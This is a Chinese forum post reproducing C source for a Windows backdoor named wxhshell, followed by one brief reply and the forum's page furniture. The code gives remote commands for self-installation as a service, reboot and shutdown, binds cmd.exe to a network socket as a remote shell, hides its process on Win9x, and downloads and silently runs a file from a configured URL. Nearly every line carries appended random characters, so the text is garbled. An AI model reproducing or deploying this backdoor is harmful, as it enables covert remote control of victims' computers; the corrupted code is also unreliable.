  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  #xh_  
  else W?woNt'n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sD;M!K_  
  } ULJmSe  
  else { GL$De,V  
X{xBYZv4  
    switch(cmd[0]) { #%0Bx3uM  
  W~1~k{A  
  // 帮助 }_9,w;M$  
  case '?': { "R>FqX6FB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CusF/>  
    break; j=RRfFg)  
  } o\b-_E5"?  
  // 安装 4<dcB@v  
  case 'i': { (t+;O;  
    if(Install()) E H:T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FzQTDu9  
    else 'k0[rDFc#3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kRCQv-*  
    break; uo%P+om_}  
    } l7H qo)  
  // 卸载 YyAJ m^o  
  case 'r': { \NZIEu)5?  
    if(Uninstall()) bNs4 5hDP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }@ Z56  
    else a' Ki;]q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *iBTI+"]  
    break; a8k;(/  
    } ~}EMk3  
  // 显示 wxhshell 所在路径 .IBp\7W!?E  
  case 'p': { 'rp }G&m  
    char svExeFile[MAX_PATH]; b V+(b9  
    strcpy(svExeFile,"\n\r"); EP'h@zdz  
      strcat(svExeFile,ExeFile); @hQlrq5c  
        send(wsh,svExeFile,strlen(svExeFile),0); Q/uwQ o/  
    break; g- AHdYJ  
    } [qUN4x5b  
  // 重启 }D411228  
  case 'b': { jp8@vdRg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -i0(2*<  
    if(Boot(REBOOT)) Un`^jw#_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J%09^5:-z  
    else { 4;n6I)&.(  
    closesocket(wsh); ,YTIC8qKr  
    ExitThread(0); U$]|~41#  
    } 9{k97D/  
    break; ~(!XY/0e  
    } f`9 b*wV  
  // 关机 0sN.H=   
  case 'd': { C2LL|jp*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); An;MVA  
    if(Boot(SHUTDOWN)) 5pr"d@.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +/,icA}PI  
    else { _v Sn`  
    closesocket(wsh); drzL.@h|  
    ExitThread(0); :I -V_4b  
    } \PDd$syDA  
    break; NI#X @  
    } p&+;w  
  // 获取shell @KX \Er  
  case 's': { (" LQll9  
    CmdShell(wsh); kt`nbm|aw  
    closesocket(wsh); ];.pK  
    ExitThread(0); '!l 1=cZD  
    break; 4wC+S9I#E^  
  } d ;vT ~;  
  // 退出 6"Bic rY  
  case 'x': { $o$ maA0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~P~  
    CloseIt(wsh); M@ed>.  
    break; ;};wq&b#  
    } z<H~ItX,n  
  // 离开 HGm 3+,  
  case 'q': { 6qcO?U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9Gv[ 8'I  
    closesocket(wsh); 'YNT8w/3  
    WSACleanup(); ^Wxad?@  
    exit(1); >:D j\"o  
    break; GpZ c5c  
        } !Mi;*ZR  
  } 64hk2a8  
  } Q+g!V5'  
:ba5iMa  
  // 提示信息 2M# r]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nX$XL=6mJ&  
} fS~;>n%R  
  } !9Aaj<yxm  
T&Lb<'f  
  return; `PY>Hgb  
} [9 Ss# ~  
sC9&Dgkk  
// shell模块句柄 TMY d47  
int CmdShell(SOCKET sock) A&nU]R8S  
{ PO 6&bIr  
STARTUPINFO si; m0v:\?S:  
ZeroMemory(&si,sizeof(si)); &f&z_WU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J_s>N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LX^u_Iu   
PROCESS_INFORMATION ProcessInfo; u_ABt?'  
char cmdline[]="cmd"; H54 R8O$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &|/| ''A)  
  return 0; 0GJn_@hr  
} [Q=dC X9%  
'fW6 .0fXa  
// 自身启动模式 FQ=@mjh  
int StartFromService(void) ]('D^Ro  
{ eImn+_ N3  
typedef struct 9K9DF1SOa  
{ *Z|y'<s  
  DWORD ExitStatus; Yo[;W vu  
  DWORD PebBaseAddress; qWmQ-|Py  
  DWORD AffinityMask; "~D]E7Q3y  
  DWORD BasePriority; E9;|'Vy<E  
  ULONG UniqueProcessId; (\SA *.)  
  ULONG InheritedFromUniqueProcessId; _q~=~nub  
}   PROCESS_BASIC_INFORMATION; ANgw"&&>(  
9<KAXr#  
PROCNTQSIP NtQueryInformationProcess; 1Tu *79A  
.'Vww  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8']9$#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s8}@=]aA  
\hB5@e4i2  
  HANDLE             hProcess; uDEvzk42  
  PROCESS_BASIC_INFORMATION pbi; hZ.Z3`v70  
L:FoSCN Y(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mauI42  
  if(NULL == hInst ) return 0; k+ze74_"  
T<XA8h*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ih7/}   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \EVBwE,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U\Z?taXB  
qHxqQ'ks;  
  if (!NtQueryInformationProcess) return 0; =5\|[NSK-  
je!-J8{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); daYx76yP_?  
  if(!hProcess) return 0; WL'P)lI5  
o LvZ   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I :vs;-  
ra o[VZ  
  CloseHandle(hProcess); Yl3n2R /U  
5-M&5f.   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ELj\[&U  
if(hProcess==NULL) return 0; z_|/5$T>U  
hNzB4 p  
HMODULE hMod; }`@728E  
char procName[255]; E2m8UBS  
unsigned long cbNeeded; h=:Q-?n-  
VY3&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JfR %L q~  
m}X`> aD/  
  CloseHandle(hProcess); 1;{Rhu7* k  
ho$ +L  
if(strstr(procName,"services")) return 1; // 以服务启动 bua+I;b  
gM _hi  
  return 0; // 注册表启动 >/8yGBD  
} *NG+L)g  
<WcR,d  
// 主模块 U-|NY  
int StartWxhshell(LPSTR lpCmdLine) Vv ?-"\Z>  
{ >k'c' 7/  
  SOCKET wsl;  jrS[f  
BOOL val=TRUE; 1&- </G#  
  int port=0; )'~6HO8Z  
  struct sockaddr_in door; ={z*akn,  
$g sxO!G  
  if(wscfg.ws_autoins) Install(); {HCz p,Y  
a]MX)?  
port=atoi(lpCmdLine); % ClHCoyA  
7Zh~lM  
if(port<=0) port=wscfg.ws_port; |>#{[wko  
O<,\^[x  
  WSADATA data; k3uit+ge }  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mVy|{Oh  
*m#Za<_Gv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `5C,N!d8X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'hs2RSq  
  door.sin_family = AF_INET; @w?P7P<O`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Jw1IcuH  
  door.sin_port = htons(port); *" {lMZ +  
C<P%CG&;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2Tagr1L  
closesocket(wsl); }&[  
return 1; F~P%AjAx'  
} w$Rro)?}7  
sNLs\4v  
  if(listen(wsl,2) == INVALID_SOCKET) { NB8/g0:=n&  
closesocket(wsl); (,8$V\  
return 1; [Lzw#XE  
} oomT)gO 6*  
  Wxhshell(wsl); 4B^ZnFJ%m  
  WSACleanup(); } x2DT8u  
fc |GArL#}  
return 0; aL&n[   
o:_Xv.HRZo  
} _iir<}  
zlEX+=3  
// 以NT服务方式启动 j!7{|EQFcl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  t$De/Uq  
{ 0DJ+I  
DWORD   status = 0; +Nt2 +Y:O  
  DWORD   specificError = 0xfffffff; LRNh@g4ei  
W;,C_   
  serviceStatus.dwServiceType     = SERVICE_WIN32; s[w6FXt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;oc&Hb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IWY;="  
  serviceStatus.dwWin32ExitCode     = 0; =Xqc]5[i  
  serviceStatus.dwServiceSpecificExitCode = 0; IyWI5Q"t  
  serviceStatus.dwCheckPoint       = 0; tV{ 4"Ij9[  
  serviceStatus.dwWaitHint       = 0; Y4v|ko`l%  
O R;uqV@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o}* hY"&  
  if (hServiceStatusHandle==0) return; MpF$xzh  
%y@Hh=  
status = GetLastError(); p{j.KI s7  
  if (status!=NO_ERROR) [m|YWT=  
{ ~4 `5tb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U15H@h  
    serviceStatus.dwCheckPoint       = 0; j'HZ\_  
    serviceStatus.dwWaitHint       = 0; Bq$rf < W  
    serviceStatus.dwWin32ExitCode     = status; t({W [JL  
    serviceStatus.dwServiceSpecificExitCode = specificError; D?NbW @]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #6CC3TJ'k  
    return;  [D<1 CF  
  } C,NJb+J  
/J WGifH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ybY]e; v*O  
  serviceStatus.dwCheckPoint       = 0; ZOZ+Y\uU  
  serviceStatus.dwWaitHint       = 0; M)2VcDy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); opc/e  
} ~NpA".PB  
[O?z@)dx  
// 处理NT服务事件,比如:启动、停止 5nKj )RH7M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xo&]$W8  
{ $7rq3y  
switch(fdwControl) z}*9uZ  
{ ]%IT|/;9Y  
case SERVICE_CONTROL_STOP: (adyZ/j  
  serviceStatus.dwWin32ExitCode = 0; F;7dt@5;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :{q < {^c  
  serviceStatus.dwCheckPoint   = 0; u[DfzH  
  serviceStatus.dwWaitHint     = 0; N-e @j4WU  
  { "gDb1h)8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =*r]) Vg^  
  } osX8eX]\  
  return; RsY3V=u  
case SERVICE_CONTROL_PAUSE: 'qOREN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }x07^4$j  
  break; ! q M=a3  
case SERVICE_CONTROL_CONTINUE: yFtd=AI'E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @Bf%s(Uj+  
  break; `Ch9~*p  
case SERVICE_CONTROL_INTERROGATE: 4UW_Do  
  break; q)^Jj ?W  
}; A m>cd;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fd[zDz  
} jhb6T ?}  
3%(N[&LU  
// 标准应用程序主函数 id2j7|$,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F7O(Cy"1  
{ i5CK*"$Q  
CTZh0 x  
// 获取操作系统版本 U qFv}VsnF  
OsIsNt=GetOsVer(); aPm`^ q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Na?!;1]_  
tX> G,hw  
  // 从命令行安装 9*{[buZX  
  if(strpbrk(lpCmdLine,"iI")) Install(); l@\#Ywz  
hKT  
  // 下载执行文件 V;:jZpG  
if(wscfg.ws_downexe) { 4DL)rkO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cc%LztP>  
  WinExec(wscfg.ws_filenam,SW_HIDE); rU2%dkTa  
} K"4>DaK2P  
ck.w 5|$  
if(!OsIsNt) { \v.C]{Gzc  
// 如果时win9x,隐藏进程并且设置为注册表启动 4'!c*@Y  
HideProc(); ?C&z]f3(:  
StartWxhshell(lpCmdLine); K0 }p i +=  
} cM$P`{QrM  
else 8>WC5%f*  
  if(StartFromService()) 2&^]k`Aj6D  
  // 以服务方式启动 'VlDh`<W  
  StartServiceCtrlDispatcher(DispatchTable); {O7X`'[  
else zhpt%7So  
  // 普通方式启动 Cif>7]M  
  StartWxhshell(lpCmdLine); LYaZ1*  
/oR<A  
return 0; %0,#ADCqOe  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五